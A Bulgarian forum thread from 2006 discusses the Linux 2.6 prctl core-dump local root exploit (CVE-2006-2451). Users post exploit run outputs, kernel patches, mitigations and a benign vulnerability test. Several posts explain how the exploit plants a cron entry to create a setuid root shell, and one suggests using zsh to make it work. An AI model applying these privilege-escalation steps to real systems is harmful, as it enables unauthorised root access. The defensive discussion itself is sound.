sdr@sdr /space $ gcc -o rs_prctl_kernel rs_prctl_kernel.c
sdr@sdr /space $ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
sdr@sdr /space $ uname -a
Linux sdr 2.6.17-gentoo-r2 #1 PREEMPT Fri Jul 7 16:07:54 EEST 2006 i686 AMD Sempron(tm) 2500+ AuthenticAMD GNU/Linux
sdr@sdr /space $


[Отговори на този коментар]

Към: По-скоро не :(
От: gat3way
На: 12-07-2006@10:53 GMT+2
Оценка: 1/Неутрален

sdr, ядрото ти е пач-нато затова не става.

Искам само да кажа, че не се налага да следвате тези advisories 1:1 и да си сменяте ядрото, за да се защитите. Достатъчно е да добавите тези 2 реда в /etc/security/limits.conf (стига да ползвате PAM):

*   hard   core  1
*   soft   core  1
<празен ред>

Така експлойта елегантно бива прецакан, тъй като в рамките на 1кб coredump по никакъв начин не би могло да се побере кода на /bin/sh.

sysctl-to fs.suid_dumpable би следвало да реши проблема ако е равно на 0 или на 2, поне според документацията, но при мене и с 3-те възможни стойности експлойта си работи..

[Отговори на този коментар]

---

Към: Към: По-скоро не :(
От: growchie <growchie__at__yahoo< dot >com>
На: 12-07-2006@12:13 GMT+2
Оценка: 1/Неутрален

това с размера на core няма да ти реши проблема. payload ти е под 200 байта.
Явно gentoo е пачнато доста отдавна.
Редактиран на: 12-07-2006@12:15

[Отговори на този коментар]

---

Към: Към: Към: По-скоро не :(
От: gat3way <mrangelov (a) globul __точка__ bg>
На: 12-07-2006@12:51 GMT+2
Оценка: 2/Образоващ/Мъдър

Всъщност сега го погледнах сорса по-добре.

Големината на payload-a има някакво отношение, но не е определяща, спокойно можеше дори 10 байта да е и пак coredump limit от 1 кб ще го спре.

Значи сега първо ще обясня идеята на експлойта (и защо никъде *payload не се подава като параметър)

1) резервира се памет, която се запълва с определена стойност (payload). Важно, много важно е че стрингът с който се инициализира тази памет стои в cleartext в binary-to на компилирания експлойт, т.е:

gat3way@gat3way:~$ grep /tmp/sh /tmp/exploit
Binary file /tmp/exploit matches

2) форк-ва се child процес. prctl викнат по този начин кара coredump-a му да бъде записан с root привилегии. Вдигат се лимитите за големина на coredump до максимума възможен (т.е hard limit-a, наложен от root-а)

3) Родителския процес трепе child-a със SIGSEGV (което пък по принцип кара ядрото да прави coredump - image на паметта, заета от сегфолт-налата програма)

4) В /etc/cron.d (където се дъмп-ва) - всеки файл се изпълнява при положение че е във формат подобен на /etc/crontab.

5) cron проверява всяка минута дали има нещо в cron.d при което открива core файла. Затова се правят и тези магии със sleep, за да е сигурно че крон-а ще мине поне веднъж (на кръгла минута)


6) Прескачайки нищо не означаващите binary глупости от дъмпа, крон демона стига до момента във него, където се пази стринга с който се инициализира payload

6) Той кара крон-а да изпълни лошата команда като root (копирай suid-нат /bin/sh другаде)

7) изпълнява го (/tmp/sh). Всеки знае какво става ако изпълниш шел, чиито притежател е root и има дигнат suid флаг...

-----------------

Защо coredump лимит от 1 кб решава ефективно проблема?

- компилиран на моята машина този стринг е на позиция 1913 от 8341-байтовия компилиран експлойт. Дори да се дъмпне част от паметта до 1 кб, този стринг въобще не влиза в сметките.

- друг е въпроса, че при такъв лимит няма да се дъмп-не нищо, тъй като ядрото не прави coredump ако използваната от процеса памет е повече от лимита, т.е не се дъмп-ва само част от паметта, а въобще нищо. Това е причината, ако имаш сет-нат hard limit, да не видиш никакъв core файл в /etc/cron.d. Въпреки че онова rm -f /etc/cron.d/core в payload-a няма да се изпълни въобще.

[Отговори на този коментар]

---

Към: Към: Към: Към: По-скоро не :(
От: growchie <growchie (a) yahoo[ точка ]com>
На: 12-07-2006@13:06 GMT+2
Оценка: 1/Неутрален

аха еми супер. това за core файловете е добре да сезнае, понеже са си опасни като цяло. ще взема и аз да си наложа hard ограниченията. проблема е, ча така написан експлойта нищо не проверява и доста хора може да останат с впечатрение, че са наред.

[Отговори на този коментар]

---

Към: Към: Към: Към: Към: По-скоро не :(
От: gat3way
На: 12-07-2006@13:18 GMT+2
Оценка: 1/Неутрален

Извинявам се, може да имаш твърд лимит и пак да мине експлойта, имах предвид *достатъчно_нисък_твърд_лимит*

Друго - трябва да бъде сет-нат от root, тъй като експлойта сам си вдига лимита доколкото му е позволено.





[Отговори на този коментар]

---

Kum: Kum: Kum: Kum: Kum: Po-skoro ne :(
От: gat3way
На: 12-07-2006@18:28 GMT+2
Оценка: 1/Неутрален

Дамм много приложения, правещи автентикация срещу /etc/passwd примерно нямат навика да нулират някои свои променливи...откъдето тръгват много беди :)

[Отговори на този коментар]

---

Към: Към: По-скоро не :(
От: gustav
На: 13-07-2006@11:01 GMT+2
Оценка: 1/Неутрален

pusna mi shell, no ne ne e s root prava :-)

Linux venera.code.bg 2.6.16-3mdk #1 Wed Jun
28 20:23:44 CEST 2006 i686 Intel(R)
Pentium(R) 4 CPU 2.40GHz unknown GNU/Linux


[Отговори на този коментар]

---

Към: По-скоро не :(
От: exabyte <exabyte (a) 3mhz __точка__ net>
На: 12-07-2006@15:15 GMT+2
Оценка: 1/Неутрален

Exploit-а не е конструиран, така че да работи на всякакви системи. Моята например е уязвима, но той не работи. Имайте предвид, когато тествате.

За най-сигурно създайте директория /etc/cron.d и вижте дали в нея се появява core файл.


[Отговори на този коментар]

---

Към: По-скоро не :(
От: growchie <growchie< at >yahoo __точка__ com>
На: 12-07-2006@11:06 GMT+2
Оценка: 1/Неутрален

Някой на ясно ли е char *payload като параметър на кое се подава?
Хм не се подава. гова по-скоро се дъмпи.
Редактиран на: 12-07-2006@11:08

[Отговори на този коментар]

---

Към: По-скоро не :(
От: Admire
На: 12-07-2006@10:54 GMT+2
Оценка: 1/Неутрален

Аз пробвах на 3 Gentoo машини, едната с ядро 2.6.13-gentoo-r5, и не работи.

[Отговори на този коментар]

---

daninel@monsters:/tmp$ ./a.out
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
daninel@monsters:/tmp$ uname
Linux
daninel@monsters:/tmp$ uname -a
Linux monsters 2.6.16.24 #2 PREEMPT Mon Jul 10 17:29:33 EEST 2006 i686 athlon-4 i386 GNU/Linux
daninel@monsters:/tmp$

В 2.6.16.24 бъга е оправен - не са мо в 2.6.17.4

commit 407972755b44d0a18647dab1f1e62df80b6638d0
Author: Greg Kroah-Hartman <gregkh@suse.de>
Date:   Thu Jul 6 13:06:01 2006 -0700

   Linux 2.6.16.24

commit 9e4e45f19bdd41b4091e5fe556f816f4046c7598
Author: Greg Kroah-Hartman <gregkh@suse.de>
Date:   Thu Jul 6 13:05:42 2006 -0700

   fix prctl privilege escalation and suid_dumpable (CVE-2006-2451)
   
   Based on a patch from Ernie Petrides
   
   During security research, Red Hat discovered a behavioral flaw in core
   dump handling. A local user could create a program that would cause a
   core file to be dumped into a directory they would not normally have
   permissions to write to. This could lead to a denial of service (disk
   consumption), or allow the local user to gain root privileges.
   
   Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

[Отговори на този коментар]

Намерете

case PR_SET_DUMPABLE:
if (arg2 < 0 || arg2 > 2) {

в kernel/sys.c и го заменете с:

case PR_SET_DUMPABLE:
if (arg2 < 0 || arg2 > 1) {

Разликата е, че от 2 става на 1 при "arg2 >". Няма нужда да сменяте ядрото, но прекомпилацията няма как да се избегне.

[Отговори на този коментар]

Към: Как да оправим проблема при 2.6.1х
От: growchie <growchie< at >yahoo__dot__com>
На: 12-07-2006@11:14 GMT+2
Оценка: 1/Неутрален

ОХАААА Гати решението дето даде.
http://www.die.net/doc/linux/man/man2/p...
PR_SET_DUMPABLE
   (Since Linux 2.4) Set the state of the flag determining whether core dumps are produced for this process upon delivery of a signal whose default behaviour is to produce a core dump. (Normally this flag is set for a process by default, but it is cleared when a set-user-ID or set-group-ID program is executed and also by various system calls that manipulate process UIDs and GIDs). In kernels up to and including 2.6.12, arg2 must be either 0 (process is not dumpable) or 1 (process is dumpable). Since kernel 2.6.13, the value 2 is also permitted; this causes any binary which normally would not be dumped to be dumped readable by root only. (See also the description of /proc/sys/fs/suid_dumpable in proc(5).)
Ако смениш в ред 38 2 с 1 какво ще стане няма ли да има пак проблем? (Просто спекулирам не съм виждал кода на sys.c).

[Отговори на този коментар]

---

Към: Как да оправим проблема при 2.6.1х
От: growchie <growchie< at >yahoo< dot >com>
На: 12-07-2006@11:21 GMT+2
Оценка: 1/Неутрален

Ако си прав с това 2 - параметъра за четене само от руут е разковничето. Трябва да се делигират привилегии или поне да се смени собствеността на дъмпа в този случай. Интересно  как едно нещо мислено да увеличи сигурността в същност я намалява :)
Редактиран на: 12-07-2006@11:51

[Отговори на този коментар]

---

Към: Как да оправим проблема при 2.6.1х
От: kip
На: 14-07-2006@8:06 GMT+2
Оценка: 1/Неутрален

Прекомпилирах kernela
като замених това в kernel/sys.c
case PR_SET_DUMPABLE:
if (arg2 < 0 || arg2 > 2) {

с:

case PR_SET_DUMPABLE:
if (arg2 < 0 || arg2 > 1) {

както казва daninel и нещата се оправиха

[Отговори на този коментар]

---

Към: Как да оправим проблема при 2.6.1х
От: kip
На: 14-07-2006@8:34 GMT+2
Оценка: 1/Неутрален

Това е от пача за ядро 2.6.17.4:
diff --git a/kernel/sys.c b/kernel/sys.c
index 0b6ec0e..59273f7 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -1991,7 +1991,7 @@ asmlinkage long sys_prctl(int option, un
error = current->mm->dumpable;
break;
case PR_SET_DUMPABLE:
- if (arg2 < 0 || arg2 > 2) {
+ if (arg2 < 0 || arg2 > 1) {
error = -EINVAL;
break;
}


[Отговори на този коментар]

---

jack@sgc:~/test$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
jack@sgc:~/test$ uname -a
Linux sgc 2.6.15.1 #3 SMP PREEMPT Sat Feb 4 17:33:38 EET 2006 i686 athlon-4 i386 GNU/Linux

Това си е стандартно  2.6.15.1 ядро свалено от kernel.org и компилирано от мене.

[Отговори на този коментар]

Към: И при мене не става
От: growchie <growchie (a) yahoo[ точка ]com>
На: 12-07-2006@11:45 GMT+2
Оценка: 1/Неутрален

Имаш ли пуснат cron и може ли юзъра ти да чете cron директорията?

[Отговори на този коментар]

---

Към: Към: И при мене не става
От: m0rph
На: 12-07-2006@13:25 GMT+2
Оценка: 1/Неутрален

cron е пуснат, промених правата на /var/spool и поддиректориите и резултата беше същия т.е. никакъв

[Отговори на този коментар]

---

Към: Към: Към: И при мене не става
От: growchie <growchie (a) yahoo< dot >com>
На: 12-07-2006@13:29 GMT+2
Оценка: 1/Неутрален

по-скоро в /etc/cron.d се опитва да пише експлойта.

[Отговори на този коментар]

---

От каквото виждам в този код се разчита core файла да съдържа крон команда за изпълняване на шел или нещо друго. Явно се разчита някой да изпълни този файл. Ако се забранят правата за четене на крон диреткорията за всички други освен крон потребителя това chdir трябва да се провали. Следователно този експлойт може и да не заработи поради тази причина, а не защото кернела е в ред. Ако няма крон стартиран  експлойта също няма да сработи. Така че не вярвайте много много на точно този код.

Някой яко иска да пробва това?

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="Sistemata ne e v red";

int main() {
   int child;
   struct rlimit corelimit;
   printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
   printf("By: dreyer & RoMaNSoFt\n");
   printf("[ 10.Jul.2006 ]\n\n");

   corelimit.rlim_cur = RLIM_INFINITY;
   corelimit.rlim_max = RLIM_INFINITY;
   setrlimit(RLIMIT_CORE, &corelimit);

   printf("[*] Creating /etc/core\n");

   if ( !( child = fork() )) {
       chdir("/etc");
       prctl(PR_SET_DUMPABLE, 2);
       sleep(200);
       exit(1);
   }

   kill(child, SIGSEGV);

   printf("[*] Exiting. Check for core file in /etc containing Sistemata ne e v red\n");

}

Редактиран на: 12-07-2006@11:56

[Отговори на този коментар]

Към: Не е много достоверно
От: Stoian Ivanov <sdr__at__mail __точка__ bg>
На: 12-07-2006@13:13 GMT+2
Оценка: 1/Неутрален

sdr@sdr ~ $ indent <tst.c
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload = "Sistemata ne e v red";

int
main ()
{
 int child;
 struct rlimit corelimit;
 printf ("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
 printf ("By: dreyer & RoMaNSoFt\n");
 printf ("[ 10.Jul.2006 ]\n\n");

 corelimit.rlim_cur = RLIM_INFINITY;
 corelimit.rlim_max = RLIM_INFINITY;
 setrlimit (RLIMIT_CORE, &corelimit);

 printf ("[*] Creating /etc/core\n");

 if (!(child = fork ()))
   {
     chdir ("/etc");
     prctl (PR_SET_DUMPABLE, 2);
     sleep (200);
     exit (1);
   }

 kill (child, SIGSEGV);

 printf
   ("[*] Exiting. Check for core file in /etc containing Sistemata ne e v red\n");

}
sdr@sdr ~ $ gcc tst.c -o tst
sdr@sdr ~ $ ./tst
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating /etc/core
[*] Exiting. Check for core file in /etc containing Sistemata ne e v red
sdr@sdr ~ $ su
Password:
root@sdr ~ # grep 'Sistemata ne e v red' /etc/*
grep: /etc/yp.conf: No such file or directory
root@sdr ~ #                          

[Отговори на този коментар]

---

Към: Към: Не е много достоверно
От: growchie <growchie< at >yahoo[ точка ]com>
На: 12-07-2006@13:18 GMT+2
Оценка: 1/Неутрален

еми супер
Редактиран на: 12-07-2006@13:25

[Отговори на този коментар]

---

Продукшън кернел с дебъг опции пуснати? м? Не че е лошо че са го хванали и фикснали де ма поне не разпространявайте FUD
Редактиран на: 12-07-2006@11:35

[Отговори на този коментар]

Глупости, това да не ти е Windoze? !!! :-P

[Отговори на този коментар]

Хммм, ами
От: smelkomar
На: 12-07-2006@14:03 GMT+2
Оценка: 1/Неутрален

А нещо относно BSD, има ли такъв проблем с него?

[Отговори на този коментар]

---

Към: Хммм, ами
От: Stoian Ivanov <sdr__at__mail __точка__ bg>
На: 12-07-2006@14:32 GMT+2
Оценка: 1/Неутрален

Че то на БСД има ли кой да му направи одит та да се види дали има подобни проблеми?

[Отговори на този коментар]

---

Към: Към: Хммм, ами
От: growchie <growchie__at__yahoo< dot >com>
На: 12-07-2006@15:21 GMT+2
Оценка: 1/Неутрален

там май няма prctl(). Ама не съм сигурен.

[Отговори на този коментар]

---

Не е пачнато. Внимавайте!

Абе тия луди ли са как така са оставили
root директорията с 40755 права.
Безобразие!
Права 40700 обезсмислят експлойта.

Продължение: Проблемът изглежда разрешен в
2.6.15-26
Редактиран на: 12-07-2006@16:05

[Отговори на този коментар]

на моето gentoo с по-стар kernel работи до известна степен ...

af@mobile ~ $ ls -lad /tmp/
drwxrwxrwt 63 root root 32768 2006-07-13 20:00 /tmp/

[една минута не винаги е достатъчна при мен и се наложи да го пусна 2-3 пъти за да се засека с cron демона]

af@mobile ~ $ ./a.out
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1$ id -a
uid=1000(af) gid=100(users) groups=6(disk),10(wheel),11(floppy),17(console),18(audio),19(cdrom),26(tape),27(video),35(games),80(cdrw),84(nut),85(usb),100(users),250(portage),413(vmware),414(qemu)
sh-3.1$ cat /etc/shadow
cat: /etc/shadow: Permission denied
sh-3.1$ ls -la /tmp/sh
-rwsr-xr-x 1 root root 645852 2006-07-13 20:07 /tmp/sh
sh-3.1$ uname -a
Linux mobile 2.6.16-suspend2-r8-af #1 Mon Jul 10 16:35:53 EEST 2006 i686 Intel(R) Pentium(R) M processor 1.70GHz GenuineIntel GNU/Linux


както се забелязва (поне на пръв поглед) експлойта сработва правилно ... само дето не ми дава root права ... но вероятно е нещо в настройките на системата ми...

вероятно има някаква хватка със /tmp и suid  шела ми ... иначе не виждам причина да не ми даде root права


edit:

опитах и на друга gentoo машина:
Linux angelfire 2.6.15-gentoo-af #1 SMP PREEMPT Fri Jan 6 18:50:49 EET 2006 i686 Intel(R) Pentium(R) 4 CPU 2.40GHz GNU/Linux

абс. същия ефект... няма root
Редактиран на: 13-07-2006@17:16

[Отговори на този коментар]

Явно на debian е проработило
От: growchie <growchie< at >yahoo[ точка ]com>
На: 13-07-2006@19:08 GMT+2
Оценка: 1/Неутрален

Вижте новината за gluck.debian.org

[Отговори на този коментар]

---

Към: gentoo - работи донякъде
От: zinder
На: 14-07-2006@7:01 GMT+2
Оценка: 1/Неутрален

ima si leka vrytka :) exploita si raboti chudesno taka che slgai 2.6.17.4 na nego ne raboti sas sigornost!

[Отговори на този коментар]

---

Да но това е конкретно нещо в Gentoo-то, пробвах на дебиан машина с последния gentoo-hardened-2.6.14-r8 и си бачка като пич, съмнява ме че в geнтоо нали сам си избираш какъв cron да сложиш за това не работи. Пфу ебати hardened-а :)))

[Отговори на този коментар]

Към: Към: gentoo - работи донякъде
От: AngelFire <af__at__0xAF__dot__org>
На: 14-07-2006@8:57 GMT+2
Оценка: 1/Неутрален

мне ... няма да е от cron-а ... той си свършва работата ... копира ми /tmp/sh всичко си минава по вода ... само дето трбва да имам root права но напрактика нямам

[Отговори на този коментар]

---

и не съм пачвал ядро доколкото си спомням :)

тествано на:
Linux binki 2.6.16.2 #15 SMP PREEMPT Tue Jun 20 23:50:46 EEST 2006 i686 athlon-4 i386 GNU/Linux

резултат:
karaman@binki:~$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory

другото ми дава:
-su: ./test.o: Permission denied

интересно експлойтче бтв

Редактиран на: 14-07-2006@7:46

[Отговори на този коментар]

koito ne vqrva che raboti ....
От: zinder
На: 14-07-2006@13:37 GMT+2
Оценка: 1/Неутрален

koito misli che exploita ne raboti za izbroenite qdra znachi ne znae kak se raboti s exploita (da ne zabravqme che si trqbva i malko fantaziq :))!!!Prosto hora ne znaete kak se pravi ... stiga ste govorili gluposti che pochnah da se draznq:)

[Отговори на този коментар]

---

Така...
От C разбирате, ама от shell-ове - не чак толкова :)
Цитат (от gateway):

" изпълнява го (/tmp/sh). Всеки знае какво става ако изпълниш шел, чиито притежател е root и има дигнат suid флаг..."

BASH Шел НЕ можете да стартирате под обикновен потребител, така че да имаш руут привилегии, дори да има suid флаг. Уязвим шел е например ZSH. Ако го имате инсталиран (повечето дистрота го имат), то заменете cp /bin/sh /tmp/sh с  cp /bin/zsh /tmp/sh и ще стане :)

[Отговори на този коментар]

Kum: edno malko problemche
От: gat3way <mrangelov__at__globul[ точка ]bg>
На: 14-07-2006@22:03 GMT+2
Оценка: 1/Неутрален

можем спокойно :)

gat3way@debian:/tmp$ cp /bin/sh /tmp
gat3way@debian:/tmp$ su -c "chown root:root sh"
Password:
gat3way@debian:/tmp$ su -c "chmod u+s sh"
Password:
gat3way@debian:/tmp$ ls -l sh
-rwsr-xr-x  1 root    root    625228 2006-07-15 01:57 sh
gat3way@debian:/tmp$ ./sh
sh-2.05b# id
uid=1000(gat3way) gid=1000(gat3way) euid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(gat3way)

Забележка: нема selinux

[Отговори на този коментар]

---

Пробвах го на Дебиан Сардж и не стана. После го пробвах на Дебиан Сардж с ядро 2.6.15-1-amd64-k8 от backports.org и там стана. Много елегантно решение прочетох в един от блоговете на планета Дебиан - добавете си реда:
kernel.core_pattern=/root/core
в /etc/sysctl.conf и експлойтът вече не работи.

Редактиран на: 16-07-2006@10:11

[Отговори на този коментар]